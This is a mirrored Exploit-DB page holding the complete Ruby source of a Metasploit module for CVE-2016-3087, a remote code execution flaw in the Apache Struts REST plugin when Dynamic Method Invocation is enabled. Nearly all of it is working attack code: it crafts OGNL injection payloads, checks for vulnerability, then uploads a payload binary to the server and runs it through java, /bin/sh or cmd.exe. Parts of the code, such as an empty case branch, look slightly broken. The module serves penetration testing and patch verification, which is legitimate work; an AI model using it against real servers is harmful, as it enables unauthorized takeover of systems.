Apache Struts – REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2016-06-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39919/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
    'Description'=> %q{
    This module exploits a remote command execution vulnerability in Apache Struts
    version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
    Execution can be performed when using REST Plugin with ! operator when
    Dynamic Method Invocation is enabled.
    },
    'Author' => [
    'Nixawk' # original metasploit module
     ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2016-3087' ],
    [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
    ],
    'Platform'=> %w{ java linux win },
    'Privileged' => true,
    'Targets'=>
    [
    ['Windows Universal',
    {
    'Arch' => ARCH_X86,
    'Platform' => 'win'
    }
    ],
    ['Linux Universal',
    {
    'Arch' => ARCH_X86,
    'Platform' => 'linux'
    }
    ],
    [ 'Java Universal',
    {
    'Arch' => ARCH_JAVA,
    'Platform' => 'java'
    },
    ]
    ],
    'DisclosureDate' => 'Jun 01 2016',
    'DefaultTarget' => 2))
    
    register_options(
    [
    Opt::RPORT(8080),
    OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
    OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
    ], self.class)
    end
    
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
    
    def get_target_platform
    target.platform.platforms.first
    end
    
    def temp_path
    @TMPPATH ||= lambda {
    path = datastore['TMPPATH']
    return nil unless path
    
    case get_target_platform
    when Msf::Module::Platform::Windows
    slash = '\\'
    when
    slash = '/'
    else
    end
    
    unless path.end_with?('/')
    path << '/'
    end
    return path
    }.call
    end
    
    def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}/#{payload}"
    resp = send_request_cgi(
    'uri' => uri,
    'version' => '1.1',
    'method'=> 'POST',
    'vars_post' => params_hash
    )
    if resp && resp.code == 404
    fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
    end
    
    def generate_rce_payload(code)
    payload = ""
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("#xx.toString.json")
    payload << "?"
    payload << Rex::Text.uri_encode("#xx:#request.toString")
    payload
    end
    
    def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)
    
    code ="##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)
    
    params_hash = {
    var_d => Rex::Text.encode_base64(cmd),
    var_e => Rex::Text.encode_base64(filename),
    var_f => content
    }
    send_http_request(payload, params_hash)
    end
    
    def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    
    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)
    
    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"
    
    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }
    
    begin
    resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
    return Exploit::CheckCode::Unknown
    end
    
    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
    Exploit::CheckCode::Vulnerable
    else
    Exploit::CheckCode::Safe
    end
    end
    
    def exploit
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    case target['Platform']
    when 'java'
    payload_exe = "#{temp_path}#{payload_exe}.jar"
    pl_exe = payload.encoded_jar.pack
    command = "java -jar #{payload_exe}"
    when 'linux'
    path = datastore['TMPPATH'] || '/tmp/'
    pl_exe = generate_payload_exe
    payload_exe = "#{path}#{payload_exe}"
    command = "/bin/sh -c #{payload_exe}"
    when 'win'
    path = temp_path || '.\\'
    pl_exe = generate_payload_exe
    payload_exe = "#{path}#{payload_exe}.exe"
    command = "cmd.exe /c #{payload_exe}"
    else
    fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end
    
    pl_content = pl_exe.unpack('H*').join()
    
    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)
    
    handler
    end
    
    end